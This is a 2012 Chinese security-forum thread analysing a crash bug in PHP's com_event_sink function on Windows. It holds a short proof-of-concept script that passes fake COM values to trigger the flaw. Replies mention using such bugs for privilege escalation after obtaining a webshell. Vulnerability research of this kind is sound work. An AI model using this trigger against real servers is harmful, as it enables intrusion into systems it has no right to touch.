首页
社区
课程
招聘
[原创]PHP com_event_sink分析的一点心得
发表于: 2012-12-11 11:32 10591

[原创]PHP com_event_sink分析的一点心得

2012-12-11 11:32
10591
 <?php
class IEEventSinker {
    var $terminated = false;

   function ProgressChange($progress, $progressmax) {
      echo "Download progress: $progress / $progressmax\n";
    }

    function DocumentComplete(&$dom, $url) {
      echo "Document $url complete\n";
    }

    function OnQuit() {
      echo "Quit!\n";
      $this->terminated = true;
    }
}
$ie = new COM("InternetExplorer.Application");
// note that you don't need the & for PHP 5!
$sink = new IEEventSinker();
com_event_sink($ie, $sink, "DWebBrowserEvents2");
$ie->Visible = true;
$ie->Navigate("http://www.google.com");
while(!$sink->terminated) {
  com_message_pump(4000);
}
$ie = null;
?>  
说明
bool com_event_sink( variant $comobject , object $sinkobject [, mixed $sinkinterface ] )
Instructs COM to sink events generated by comobject into the PHP object sinkobject.
Be careful how you use this feature; if you are doing something similar to the example below, then it doesn't really make sense to run it in a web server context.
参数
comobject

sinkobject

sinkobject should be an instance of a class with methods named after those of the desired dispinterface; you may use com_print_typeinfo() to help generate a template class for this purpose.

sinkinterface

PHP will attempt to use the default dispinterface type specified by the typelibrary associated with comobject, but you may override this choice by setting sinkinterface to the name of the dispinterface that you want to use.
<?php
$fake_com = new VARIANT(0x41414141);
$fake_sink = new VARIANT(0x12345678);
$fake_DISP = str_repeat("B", 1000);

com_event_sink($fake_com,$fake_sink,$fake_DISP);
?>

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 6
支持
分享
最新回复 (14)
雪    币: 199
活跃值: (65)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
2
码这么多字,而且没有太多的检查,如果有什么错误还望大家指出!
2012-12-11 11:36
0
雪    币: 199
活跃值: (65)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
3
PHP 5.3.13 (cli) (built: May  8 2012 18:50:09)
Copyright (c) 1997-2012 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2012 Zend Technologies
    with Xdebug v2.2.0, Copyright (c) 2002-2012, by Derick Rethans
忘记贴了,这里我使用的PHP版本 banner 如上!系统为windows Xp3
2012-12-11 11:59
0
雪    币: 1491
活跃值: (985)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
4
非常精彩的一篇分享文章,谢谢楼主的分享
2012-12-11 16:46
0
雪    币: 199
活跃值: (65)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
5
感谢版主的精华,话说貌似好像都没什么人讨论的所,看来这个漏洞大家兴趣不大!
2012-12-11 18:25
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
6
不一样的漏洞场景,顶一个!
2012-12-11 19:14
0
雪    币: 219
活跃值: (848)
能力值: (RANK:290 )
在线值:
发帖
回帖
粉丝
7
我顶 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~·
2012-12-11 21:16
0
雪    币: 1015
活跃值: (235)
能力值: ( LV12,RANK:440 )
在线值:
发帖
回帖
粉丝
8
感谢楼主的分享啊!
2012-12-12 11:45
0
雪    币: 199
活跃值: (65)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
9
后面发现其实浏览器 浏览特定的PHP文件的时候,也可以触发漏洞!不过由于dll 存在的环境的问题,喷射的地址要更低一点才行!
2012-12-12 11:57
0
雪    币: 1579
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
楼主太强大了,太牛了,我等菜鸟要向你学习。
2012-12-12 14:50
0
雪    币: 72
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
11
上上礼拜好像爆出2 3个有关PHP这样的漏洞,都是这种类型。感谢楼主详细的分析和实践。这个在拿到webshell后提权很有用。
2012-12-13 10:49
0
雪    币: 199
活跃值: (40)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
不知道 在没拿到webshell的时候 有什么方法么 先拿到webshell呢
2012-12-13 11:18
0
雪    币: 199
活跃值: (65)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
13
楼上的问题,,,那啥,涉及面太广,建议从基础学起!
2012-12-13 11:55
0
雪    币: 202
活跃值: (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
楼主辛苦了,分析得比较仔细透彻
2012-12-14 23:41
0
雪    币: 88
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15

通俗易懂,非常精彩
2012-12-16 15:03
0
游客
登录 | 注册 方可回帖
返回
//